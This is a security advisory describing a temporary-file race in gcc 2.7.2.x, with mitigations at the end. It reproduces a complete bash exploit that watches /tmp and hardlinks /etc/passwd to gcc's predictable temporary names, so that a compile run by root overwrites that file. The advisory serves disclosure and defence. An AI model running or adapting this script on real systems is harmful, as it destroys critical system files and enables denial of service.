COMMAND

    gcc

SYSTEMS AFFECTED

    Systems running gcc 2.7.2.x

PROBLEM

    Michal Zalewski  posted following.   Launch it  as a  unprivledged
    user in background (screen?), then, as a root, try to compile  any
    file or project using  gcc (eg. typical daemon,  service, client),
    and  watch  out  your  /etc/passwd  (or  any other vital file, eg.
    /dev/kmem,  /dev/hda).   It's  also  possible  to  overwrite other
    user's files (if only he/she uses gcc occassionally), system  logs
    etc.

    And this is how it bebag.  During compilation, gcc uses  following
    temporary files:

        /tmp/ccXXXXXX.i
        /tmp/ccXXXXXX.s
        /tmp/ccXXXXXX.o

    Where XXXXXX  means a  'unique' random  number.   Unique, but  not
    quite.   Only the  first file  (.i) is  created properly,  after a
    detailed checks. But next one  (.s) is created within a  noticable
    time  interval  using  _extactly  the  same_  number  and  without
    performing any checks (!). Finally, the last file (.o) is  created
    again in the same way, but '1' is appended to the sequence number.

    Now, we may leave a script, which periodically checks /tmp looking
    for cc*.i files.   If any has  been found, the  script immediately
    creates link to /etc/passwd (or another vital file) using sequence
    number stripped from the .i file. Because no checks are  performed
    by  gcc,  if  our  script  was  fast  enough,  target  file may be
    overwritten when gcc has been launched by root! That's  especially
    possible when large sources  (more than 20-50 kB?),  are compiled.
    Exploit follows:

    #!/bin/bash

    # Simple GCC exploit (tested under 2.7.2.3.f.1)
    # - by Michal Zalewski (lcamtuf@staszic.waw.pl)
    # ---------------------------------------------
    # Usage: "screen ./gcc_ln" then Ctrl+A,D
    # ---------------------------------------------
    # Ugh, blah... Should be written in C for
    # better performance, but I have no time :)

    VICTIM=/etc/passwd

    if [ ! -f $VICTIM ]; then
      echo "I can't see my victim ($VICTIM)..."
      exit 0
    fi

    ORIG=`ls -l $VICTIM|awk '{print \$5}'`

    echo "GCC exploit launched against $VICTIM ($ORIG bytes)."

    renice +20 $PPID >&/dev/null

    cd /tmp

    while [ 1 ]; do

      V=`ls cc*.i 2>/dev/null|cut -f 1 -d "."`

      if [ ! "$V" = "" ]; then
	ln $VICTIM ${V}.s &>/dev/null
	ln $VICTIM ${V}1.o &>/dev/null
	NOWY=`ls -l $VICTIM|awk '{print \$5}'`
	if [ "$ORIG" = "$NOWY" ]; then
	  echo -n "."
	  rm -f ${V}.s ${V}1.o &>/dev/null
	else
	  echo "Voila. I'm so smart."
	  rm -f ${V}.s ${V}1.o &>/dev/null
	  exit 0
	fi
      fi

    done

SOLUTION

    Create a 'tmp' directory within  your home directory and then  set
    the TMPDIR  environment variable  to reference  it.   Most of  the
    programs in use today will honor it; and if you are worried  about
    the general user on your system, add to the system profile to  set
    their TMPDIR.

    You may  skip this  problem with  '-pipe', but  -pipe has it's own
    problems with autoconf. It stops various >tests working because of
    another bug in gcc 2.7.x: -pipe applied to a .s file will hang the
    compiler.  The bug has been fixed in 2.8.0.